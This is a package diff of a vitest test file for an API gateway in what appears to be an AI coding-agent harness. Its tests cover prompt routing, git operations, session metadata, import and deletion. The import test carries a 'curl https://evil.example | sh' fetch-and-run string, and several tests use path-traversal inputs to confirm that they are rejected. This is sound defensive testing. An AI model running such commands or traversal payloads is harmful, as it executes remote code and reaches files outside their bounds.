@pi-harness/pi-harness 0.1.22 → 0.1.24

package/packages/api-gateway/test/index.test.ts

@@ -1,18 +1,45 @@
-import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
+import { chmod, mkdir, mkdtemp, readdir, readFile, realpath, rm, stat, writeFile } from "node:fs/promises";
 import { execFile as execFileCallback } from "node:child_process";
 import { createServer } from "node:http";
 import { promisify } from "node:util";
 import { tmpdir } from "node:os";
-import { join } from "node:path";
+import { join, sep } from "node:path";
 import { DatabaseSync } from "node:sqlite";
 import { Context } from "@deepseek-ai/cordis";
 import timerPlugin from "@deepseek-ai/cordis-plugin-timer";
 import { SessionManager } from "@earendil-works/pi-coding-agent";
-import { afterEach, describe, expect, test } from "vitest";
+import { afterEach, describe, expect, test, vi } from "vitest";
 import webServerPlugin from "@pi-harness/host-webserver";
 import { PiPluginUiRegistry, PiToolRegistry } from "@pi-harness/core";
+import type { MarketplacePlugin } from "../src/marketplace.js";
 import apiPlugin from "../src/index.js";
 
+// Every shipped catalog entry that npm has to install names a bare package, so `packageName` and its npm package name coincide and the install route cannot show whether it narrows the specifier. This entry is the case where the two differ: a deep import path whose npm package is only the first two segments. It is hoisted because the module mock below reads it while the test module body is still in its temporal dead zone.
+const { subpathPlugin } = vi.hoisted(() => ({
+  subpathPlugin: {
+    id: "subpath-toolkit",
+    packageName: "@example-scope/toolkit/plugins/subpath",
+    version: "1.2.3",
+    name: "Subpath toolkit",
+    description: "Catalog entry whose profile name is a deep import of its npm package",
+    author: "example",
+    repository: "https://example.invalid/toolkit",
+    license: "MIT",
+    source: "community",
+    status: "experimental",
+    category: { id: "tools", label: "工具" },
+    capabilities: ["subpath-install"],
+    hooks: ["apply"],
+    profile: { name: "@example-scope/toolkit/plugins/subpath", config: {} },
+  } satisfies MarketplacePlugin,
+}));
+
+// Only `MARKETPLACE_PLUGINS` is widened: the search and pagination helpers close over the module's own catalog, so the listing endpoints keep serving exactly the shipped entries.
+vi.mock("../src/marketplace.js", async (importOriginal) => {
+  const actual = await importOriginal<{ MARKETPLACE_PLUGINS: readonly MarketplacePlugin[] }>();
+  return { ...actual, MARKETPLACE_PLUGINS: [...actual.MARKETPLACE_PLUGINS, subpathPlugin] };
+});
+
 const contexts: Context[] = [];
 const temporaryDirectories: string[] = [];
 const execFile = promisify(execFileCallback);
@@ -1753,6 +1780,8 @@ describe("API gateway plugin", () => {
     const context = new Context();
     contexts.push(context);
     await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-new-session-"));
+    temporaryDirectories.push(directory);
     let sessionId = "old-session";
     let resetCount = 0;
     const session = {
@@ -1768,6 +1797,7 @@ describe("API gateway plugin", () => {
           resetCount += 1;
         },
         getEntries: () => [],
+        getSessionDir: () => directory,
       },
       agent: { state: { messages: [{ role: "user", content: "old" }] } },
       subscribe: () => () => {},
@@ -2419,4 +2449,770 @@ describe("API gateway plugin", () => {
     });
     expect(response.status).toBe(400);
   });
+
+  test("rejects non-POST requests to the prompt route", async () => {
+    const context = new Context();
+    contexts.push(context);
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "method-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const response = await fetch(context.webServer.url + "/api/prompt");
+    expect(response.status).toBe(405);
+    await expect(response.json()).resolves.toEqual({ error: "Method not allowed" });
+  });
+
+  test("keeps the retained trajectory bounded and free of streaming deltas", async () => {
+    const context = new Context();
+    contexts.push(context);
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    type Listener = (event: { type: string; [key: string]: unknown }) => void;
+    const listeners = new Set<Listener>();
+    const session = {
+      sessionId: "bounded-session",
+      sessionFile: undefined,
+      messages: [],
+      isStreaming: false,
+      subscribe(listener: Listener) {
+        listeners.add(listener);
+        return () => listeners.delete(listener);
+      },
+    };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const stream = await fetch(context.webServer.url + "/api/events");
+    const reader = stream.body?.getReader();
+    await reader?.read();
+    for (let index = 0; index < 2500; index += 1) {
+      listeners.forEach((listener) => listener({ type: "tool_execution_start", toolName: "read", toolCallId: `call-${index}`, args: {} }));
+    }
+    let delivered = "";
+    for (let index = 0; index < 500; index += 1) {
+      listeners.forEach((listener) =>
+        listener({ type: "message_update", assistantMessageEvent: { type: "text_delta", delta: "x" }, message: { role: "assistant", content: [] } }),
+      );
+    }
+    while (!delivered.includes('"type":"message_update"')) {
+      const chunk = await reader?.read();
+      delivered += new TextDecoder().decode(chunk?.value);
+    }
+    await reader?.cancel();
+
+    const response = await fetch(context.webServer.url + "/api/session");
+    expect(response.status).toBe(200);
+    const payload = (await response.json()) as { events: { type: string; toolCallId?: string }[] };
+    expect(payload.events).toHaveLength(2000);
+    expect(payload.events.some((event) => event.type === "message_update")).toBe(false);
+    expect(payload.events[0]?.toolCallId).toBe("call-500");
+    expect(payload.events.at(-1)?.toolCallId).toBe("call-2499");
+    const status = await fetch(context.webServer.url + "/api/status");
+    await expect(status.json()).resolves.toMatchObject({ events: 2000 });
+  });
+
+  test("reverts tracked and untracked workspace files together and rejects unknown paths", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-revert-mixed-"));
+    temporaryDirectories.push(directory);
+    await execFile("git", ["init", "-q"], { cwd: directory });
+    await execFile("git", ["config", "user.email", "pi-harness@test.invalid"], { cwd: directory });
+    await execFile("git", ["config", "user.name", "Pi Harness Test"], { cwd: directory });
+    await writeFile(join(directory, "tracked.txt"), "before\n", "utf8");
+    await writeFile(join(directory, "removed.txt"), "gone\n", "utf8");
+    await execFile("git", ["add", "tracked.txt", "removed.txt"], { cwd: directory });
+    await execFile("git", ["commit", "-qm", "initial"], { cwd: directory });
+    await writeFile(join(directory, "tracked.txt"), "after\n", "utf8");
+    await writeFile(join(directory, "scratch.txt"), "discard me\n", "utf8");
+    await execFile("git", ["rm", "-q", "removed.txt"], { cwd: directory });
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "revert-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
+    context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const unknown = await fetch(context.webServer.url + "/api/files/revert", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ paths: ["does-not-exist.txt"], confirm: true }),
+    });
+    expect(unknown.status).toBe(409);
+    const unknownBody = (await unknown.json()) as { error: string };
+    expect(unknownBody.error).toContain("does-not-exist.txt");
+    const response = await fetch(context.webServer.url + "/api/files/revert", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ paths: ["tracked.txt", "scratch.txt", "removed.txt"], confirm: true }),
+    });
+    expect(response.status).toBe(200);
+    await expect(response.json()).resolves.toMatchObject({ reverted: true });
+    await expect(readFile(join(directory, "tracked.txt"), "utf8")).resolves.toBe("before\n");
+    await expect(readFile(join(directory, "removed.txt"), "utf8")).resolves.toBe("gone\n");
+    await expect(stat(join(directory, "scratch.txt"))).rejects.toMatchObject({ code: "ENOENT" });
+    await expect(execFile("git", ["status", "--porcelain"], { cwd: directory })).resolves.toMatchObject({ stdout: "" });
+  });
+
+  test("surfaces git status failures and truncation instead of reporting a clean workspace", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-git-shim-"));
+    temporaryDirectories.push(directory);
+    const shimDirectory = join(directory, "bin");
+    await mkdir(shimDirectory);
+    const shim = join(shimDirectory, "git");
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "files-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
+    context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const originalPath = process.env.PATH ?? "";
+    process.env.PATH = `${shimDirectory}:${originalPath}`;
+    try {
+      await writeFile(shim, '#!/bin/sh\necho "fatal: index file corrupt" >&2\nexit 128\n', { mode: 0o755 });
+      const failed = await fetch(context.webServer.url + "/api/files");
+      expect(failed.status).toBe(500);
+      await expect(failed.json()).resolves.toEqual({ error: "fatal: index file corrupt" });
+
+      await writeFile(shim, "#!/bin/sh\n{ printf ' M tracked.txt\\n'; seq 1 40000 | sed 's/^/?? untracked-/;s/$/.txt/'; } | tr '\\n' '\\0'\n", { mode: 0o755 });
+      const truncated = await fetch(context.webServer.url + "/api/files");
+      expect(truncated.status).toBe(200);
+      const payload = (await truncated.json()) as { items: { path: string }[]; truncated?: boolean };
+      expect(payload.truncated).toBe(true);
+      expect(payload.items[0]).toMatchObject({ path: "tracked.txt", status: "M", label: "modified" });
+      expect(payload.items.length).toBeGreaterThan(1);
+      expect(payload.items.length).toBeLessThan(40001);
+      expect(payload.items.every((item) => /^(tracked|untracked-\d+)\.txt$/.test(item.path))).toBe(true);
+    } finally {
+      process.env.PATH = originalPath;
+    }
+  });
+
+  test("reports a git process killed by the output limit as a server failure rather than a rejected commit", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-git-kill-"));
+    temporaryDirectories.push(directory);
+    const shimDirectory = join(directory, "bin");
+    await mkdir(shimDirectory);
+    await writeFile(join(shimDirectory, "git"), "#!/bin/sh\nhead -c 3145728 /dev/zero | tr '\\0' x\n", { mode: 0o755 });
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "commit-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
+    context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const originalPath = process.env.PATH ?? "";
+    process.env.PATH = `${shimDirectory}:${originalPath}`;
+    try {
+      const response = await fetch(context.webServer.url + "/api/files/commit", {
+        method: "POST",
+        headers: { "content-type": "application/json" },
+        body: JSON.stringify({ paths: ["README.md"], message: "Update README" }),
+      });
+      expect(response.status).toBe(500);
+      await expect(response.json()).resolves.toEqual({ error: "git add produced more output than the buffer limit allows" });
+    } finally {
+      process.env.PATH = originalPath;
+    }
+  });
+
+  test("serializes concurrent session metadata updates so none are lost", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-metadata-"));
+    temporaryDirectories.push(directory);
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = {
+      sessionId: "metadata-session",
+      sessionFile: undefined,
+      messages: [],
+      isStreaming: false,
+      sessionManager: { getSessionDir: () => directory, isPersisted: () => true, getEntries: () => [] },
+      subscribe: () => () => {},
+    };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const paths = Array.from({ length: 8 }, (_, index) => join(directory, `2026-08-30T00-00-0${index}-000Z_session-${index}.jsonl`));
+    const responses = await Promise.all(
+      paths.map((path, index) =>
+        index % 2 === 0
+          ? fetch(context.webServer.url + "/api/session/metadata", {
+              method: "POST",
+              headers: { "content-type": "application/json" },
+              body: JSON.stringify({ path, pinned: true }),
+            })
+          : fetch(context.webServer.url + "/api/sessions/batch", {
+              method: "POST",
+              headers: { "content-type": "application/json" },
+              body: JSON.stringify({ action: "archive", paths: [path] }),
+            }),
+      ),
+    );
+    expect(responses.map((response) => response.status)).toEqual(Array(8).fill(200));
+    const stored = JSON.parse(await readFile(join(directory, ".pi-harness-session-meta.json"), "utf8")) as Record<
+      string,
+      { pinned?: boolean; archived?: boolean }
+    >;
+    expect(Object.keys(stored).sort()).toEqual([...paths].sort());
+    paths.forEach((path, index) => expect(stored[path]).toEqual(index % 2 === 0 ? { pinned: true } : { archived: true }));
+    const leftovers = (await readdir(directory)).filter((name) => name.endsWith(".tmp"));
+    expect(leftovers).toEqual([]);
+  });
+
+  test("quarantines corrupt session metadata instead of silently replacing it", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-metadata-corrupt-"));
+    temporaryDirectories.push(directory);
+    const metadataFile = join(directory, ".pi-harness-session-meta.json");
+    const corrupt = '{ "other.jsonl": { "arc';
+    await writeFile(metadataFile, corrupt, "utf8");
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = {
+      sessionId: "metadata-session",
+      sessionFile: undefined,
+      messages: [],
+      isStreaming: false,
+      sessionManager: { getSessionDir: () => directory, isPersisted: () => true, getEntries: () => [] },
+      subscribe: () => () => {},
+    };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const list = await fetch(context.webServer.url + "/api/sessions");
+    expect(list.status).toBe(200);
+    const quarantined = (await readdir(directory)).filter((name) => name.startsWith(".pi-harness-session-meta.json.corrupt-"));
+    expect(quarantined).toHaveLength(1);
+    await expect(readFile(join(directory, quarantined[0] ?? ""), "utf8")).resolves.toBe(corrupt);
+    await expect(stat(metadataFile)).rejects.toMatchObject({ code: "ENOENT" });
+
+    const path = join(directory, "2026-08-30T00-00-00-000Z_pinned.jsonl");
+    const update = await fetch(context.webServer.url + "/api/session/metadata", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ path, pinned: true }),
+    });
+    expect(update.status).toBe(200);
+    await expect(update.json()).resolves.toEqual({ path, metadata: { pinned: true } });
+    expect(JSON.parse(await readFile(metadataFile, "utf8"))).toEqual({ [path]: { pinned: true } });
+    await expect(readFile(join(directory, quarantined[0] ?? ""), "utf8")).resolves.toBe(corrupt);
+  });
+
+  test("replaces settings.json atomically through the config source route", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const agentDir = await mkdtemp(join(tmpdir(), "pi-harness-api-agent-"));
+    temporaryDirectories.push(agentDir);
+    const settingsPath = join(agentDir, "settings.json");
+    await writeFile(settingsPath, '{"stale":true}\n', "utf8");
+    await chmod(settingsPath, 0o444);
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const settingsManager = new Proxy({}, { get: () => () => ({}) });
+    const session = { sessionId: "config-session", sessionFile: undefined, messages: [], isStreaming: false, settingsManager, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir, args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const response = await fetch(context.webServer.url + "/api/config/source", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ source: '{"defaultProvider":"test","defaultModel":"model"}' }),
+    });
+    expect(response.status).toBe(200);
+    await expect(readFile(settingsPath, "utf8")).resolves.toBe('{\n  "defaultProvider": "test",\n  "defaultModel": "model"\n}\n');
+    expect((await stat(settingsPath)).mode & 0o777).toBe(0o444);
+    expect((await readdir(agentDir)).filter((name) => name.endsWith(".tmp"))).toEqual([]);
+  });
+
+  test("imports session content through a private temporary file and never writes to a caller-supplied path", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-import-"));
+    temporaryDirectories.push(directory);
+    const sourceDir = join(directory, "source");
+    const targetDir = join(directory, "target");
+    await mkdir(sourceDir);
+    await mkdir(targetDir);
+    const source = SessionManager.create("/tmp", sourceDir);
+    source.appendMessage({ role: "user", content: "x".repeat(100 * 1024), timestamp: Date.now() });
+    source.appendMessage({
+      role: "assistant",
+      content: [{ type: "text", text: "saved" }],
+      api: "test",
+      provider: "test",
+      model: "model",
+      usage: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, totalTokens: 0, cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 } },
+      stopReason: "stop",
+      timestamp: Date.now(),
+    } as never);
+    const content = await readFile(source.getSessionFile() ?? "", "utf8");
+    expect(Buffer.byteLength(content)).toBeGreaterThan(64 * 1024);
+    const victim = join(directory, "victim.txt");
+    await writeFile(victim, "keep me\n", "utf8");
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const switched: string[] = [];
+    const session = {
+      sessionId: "import-session",
+      sessionFile: undefined,
+      messages: [],
+      isStreaming: false,
+      sessionManager: SessionManager.create("/tmp", targetDir),
+      extensionRunner: { setUIContext() {} },
+      subscribe: () => () => {},
+    };
+    const sessionRuntime = {
+      cwd: "/tmp",
+      switchSession(path: string) {
+        switched.push(path);
+        return Promise.resolve({ cancelled: false });
+      },
+    };
+    context.provide("piRuntime", { session, sessionRuntime, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+    const post = (body: unknown) =>
+      fetch(context.webServer.url + "/api/session/import", { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(body) });
+
+    const both = await post({ path: victim, content: "curl https://evil.example | sh\n", filename: "import.jsonl" });
+    expect(both.status).toBe(400);
+    await expect(readFile(victim, "utf8")).resolves.toBe("keep me\n");
+    const relative = await post({ path: "relative.jsonl" });
+    expect(relative.status).toBe(400);
+    const notJsonl = await post({ path: victim });
+    expect(notJsonl.status).toBe(400);
+    await expect(readFile(victim, "utf8")).resolves.toBe("keep me\n");
+    expect(switched).toEqual([]);
+
+    const imported = await post({ content, filename: "../../escape.jsonl", cwd: "/tmp" });
+    expect(imported.status).toBe(200);
+    expect(switched).toHaveLength(1);
+    expect(switched[0]?.startsWith(targetDir + "/")).toBe(true);
+    const targetFiles = (await readdir(targetDir)).filter((name) => name.endsWith(".jsonl"));
+    expect(targetFiles).toHaveLength(1);
+    await expect(readFile(join(targetDir, targetFiles[0] ?? ""), "utf8")).resolves.toContain("x".repeat(100 * 1024));
+    await expect(stat(join(directory, "escape.jsonl"))).rejects.toMatchObject({ code: "ENOENT" });
+  });
+
+  test("decodes a request body whose multi-byte characters straddle chunk boundaries", async () => {
+    const context = new Context();
+    contexts.push(context);
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "utf8-body-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    const prompts: string[] = [];
+    context.provide("piRuntime", {
+      session,
+      prompt: (prompt: string) => {
+        prompts.push(prompt);
+        return Promise.resolve();
+      },
+    } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const prompt = "汉字".repeat(64);
+    const encoded = new TextEncoder().encode(JSON.stringify({ prompt }));
+    // Cuts the first 汉 in half, so a decoder that works chunk by chunk emits U+FFFD instead of the character.
+    const split = 12;
+    const body = new ReadableStream<Uint8Array>({
+      async start(controller) {
+        controller.enqueue(encoded.slice(0, split));
+        await new Promise((resolveDelay) => setTimeout(resolveDelay, 25));
+        controller.enqueue(encoded.slice(split));
+        controller.close();
+      },
+    });
+    const response = await fetch(context.webServer.url + "/api/prompt", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body,
+      duplex: "half",
+    } as RequestInit & { duplex: "half" });
+
+    expect(response.status).toBe(200);
+    expect(prompts).toEqual([prompt]);
+  });
+
+  test("keeps a message that a later trajectory event repeats instead of reporting it as circular", async () => {
+    const context = new Context();
+    contexts.push(context);
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    type Listener = (event: { type: string; [key: string]: unknown }) => void;
+    const listeners = new Set<Listener>();
+    const message = { role: "assistant", content: [{ type: "text", text: "done" }], timestamp: 2 };
+    const cyclic: Record<string, unknown> = { type: "turn_end" };
+    cyclic.self = cyclic;
+    const session = {
+      sessionId: "shared-message-session",
+      sessionFile: undefined,
+      messages: [] as Array<Record<string, unknown>>,
+      isStreaming: false,
+      subscribe(listener: Listener) {
+        listeners.add(listener);
+        return () => listeners.delete(listener);
+      },
+    };
+    context.provide("piRuntime", {
+      session,
+      prompt: () => {
+        // Pi pushes the very object carried by the event into the message list, so both fields of the response reference one instance.
+        session.messages.push(message);
+        listeners.forEach((listener) => listener({ type: "message_end", message }));
+        listeners.forEach((listener) => listener(cyclic as { type: string }));
+        return Promise.resolve();
+      },
+    } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    await fetch(context.webServer.url + "/api/prompt", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ prompt: "hello" }),
+    });
+    const response = await fetch(context.webServer.url + "/api/session");
+    expect(response.status).toBe(200);
+    const payload = (await response.json()) as { messages: unknown[]; events: Array<Record<string, unknown>> };
+    expect(payload.messages).toEqual([message]);
+    expect(payload.events[0]).toEqual({ type: "message_end", message });
+    expect(payload.events[1]).toEqual({ type: "turn_end", self: "[Circular]" });
+  });
+
+  test("returns git status paths verbatim when they hold spaces, non-ASCII characters or a rename", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-quoted-paths-"));
+    temporaryDirectories.push(directory);
+    await execFile("git", ["init", "-q"], { cwd: directory });
+    await execFile("git", ["config", "user.email", "pi-harness@test.invalid"], { cwd: directory });
+    await execFile("git", ["config", "user.name", "Pi Harness Test"], { cwd: directory });
+    await writeFile(join(directory, "notes draft.md"), "before\n", "utf8");
+    await writeFile(join(directory, "old name.md"), "keep\n", "utf8");
+    await execFile("git", ["add", "-A"], { cwd: directory });
+    await execFile("git", ["commit", "-qm", "initial"], { cwd: directory });
+    await writeFile(join(directory, "notes draft.md"), "after\n", "utf8");
+    await execFile("git", ["mv", "old name.md", "renamed name.md"], { cwd: directory });
+    await writeFile(join(directory, "汉字.txt"), "新建\n", "utf8");
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "quoted-paths-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
+    context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const response = await fetch(context.webServer.url + "/api/files");
+    expect(response.status).toBe(200);
+    const payload = (await response.json()) as { items: { path: string; status: string; label: string }[] };
+    expect(payload.items).toHaveLength(3);
+    expect(payload.items).toEqual(
+      expect.arrayContaining([
+        { path: "notes draft.md", status: "M", label: "modified" },
+        { path: "renamed name.md", status: "R", label: "modified" },
+        { path: "汉字.txt", status: "??", label: "untracked" },
+      ]),
+    );
+
+    const modified = payload.items.find((item) => item.status === "M");
+    const diff = await fetch(context.webServer.url + "/api/files/diff?path=" + encodeURIComponent(modified?.path ?? ""));
+    expect(diff.status).toBe(200);
+    const diffPayload = (await diff.json()) as { path: string; diff: string };
+    expect(diffPayload.path).toBe("notes draft.md");
+    expect(diffPayload.diff).toContain("after");
+
+    const commit = await fetch(context.webServer.url + "/api/files/commit", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ paths: ["notes draft.md", "汉字.txt"], message: "Commit quoted paths" }),
+    });
+    expect(commit.status).toBe(200);
+    const after = await execFile("git", ["status", "--short", "-z"], { cwd: directory });
+    expect(after.stdout).not.toContain("notes draft.md");
+    expect(after.stdout).not.toContain("汉字.txt");
+  });
+
+  test("refuses to delete a session outside the session directory or without confirmation", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-session-delete-"));
+    temporaryDirectories.push(directory);
+    const sessionDir = join(directory, "sessions");
+    await mkdir(sessionDir);
+    const victim = join(directory, "secrets.jsonl");
+    await writeFile(victim, "keep me\n", "utf8");
+    const note = join(sessionDir, "notes.txt");
+    await writeFile(note, "keep me\n", "utf8");
+    const target = join(sessionDir, "2026-08-30T00-00-00-000Z_target.jsonl");
+    await writeFile(target, "{}\n", "utf8");
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = {
+      sessionId: "session-delete-session",
+      sessionFile: undefined,
+      messages: [],
+      isStreaming: false,
+      sessionManager: { getSessionDir: () => sessionDir, isPersisted: () => true, getEntries: () => [] },
+      subscribe: () => () => {},
+    };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+    const post = (body: unknown) =>
+      fetch(context.webServer.url + "/api/session/delete", { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(body) });
+
+    const pinned = await fetch(context.webServer.url + "/api/session/metadata", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ path: target, pinned: true }),
+    });
+    expect(pinned.status).toBe(200);
+
+    const outside = await post({ path: victim, confirm: true });
+    expect(outside.status).toBe(400);
+    await expect(outside.json()).resolves.toEqual({ error: "Invalid session path" });
+    // The literal `..` segment has to survive onto the wire: path.join would collapse it into the plain `outside` path and the request would no longer escape anything.
+    const traversalPath = `${sessionDir}${sep}..${sep}secrets.jsonl`;
+    expect(traversalPath).not.toBe(victim);
+    const traversal = await post({ path: traversalPath, confirm: true });
+    expect(traversal.status).toBe(400);
+    await expect(traversal.json()).resolves.toEqual({ error: "Invalid session path" });
+    const suffix = await post({ path: note, confirm: true });
+    expect(suffix.status).toBe(400);
+    const unconfirmed = await post({ path: target });
+    expect(unconfirmed.status).toBe(400);
+    await expect(unconfirmed.json()).resolves.toEqual({ error: "confirm must be true to delete a session" });
+    await expect(readFile(victim, "utf8")).resolves.toBe("keep me\n");
+    await expect(readFile(note, "utf8")).resolves.toBe("keep me\n");
+    await expect(readFile(target, "utf8")).resolves.toBe("{}\n");
+
+    const deleted = await post({ path: target, confirm: true });
+    expect(deleted.status).toBe(200);
+    await expect(deleted.json()).resolves.toMatchObject({ deleted: true, path: target });
+    await expect(stat(target)).rejects.toMatchObject({ code: "ENOENT" });
+    expect(JSON.parse(await readFile(join(sessionDir, ".pi-harness-session-meta.json"), "utf8"))).toEqual({});
+  });
+
+  test("keeps batch deletion going past a failing session and persists the metadata it did remove", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-batch-delete-"));
+    temporaryDirectories.push(directory);
+    const first = join(directory, "2026-08-30T00-00-00-000Z_first.jsonl");
+    const missing = join(directory, "2026-08-30T00-00-01-000Z_missing.jsonl");
+    const stuck = join(directory, "2026-08-30T00-00-02-000Z_stuck.jsonl");
+    const last = join(directory, "2026-08-30T00-00-03-000Z_last.jsonl");
+    await writeFile(first, "{}\n", "utf8");
+    await writeFile(last, "{}\n", "utf8");
+    // A directory cannot be unlinked, which is the closest reproducible stand-in for a session the harness is not allowed to remove.
+    await mkdir(stuck);
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = {
+      sessionId: "batch-delete-session",
+      sessionFile: undefined,
+      messages: [],
+      isStreaming: false,
+      sessionManager: { getSessionDir: () => directory, isPersisted: () => true, getEntries: () => [] },
+      subscribe: () => () => {},
+    };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
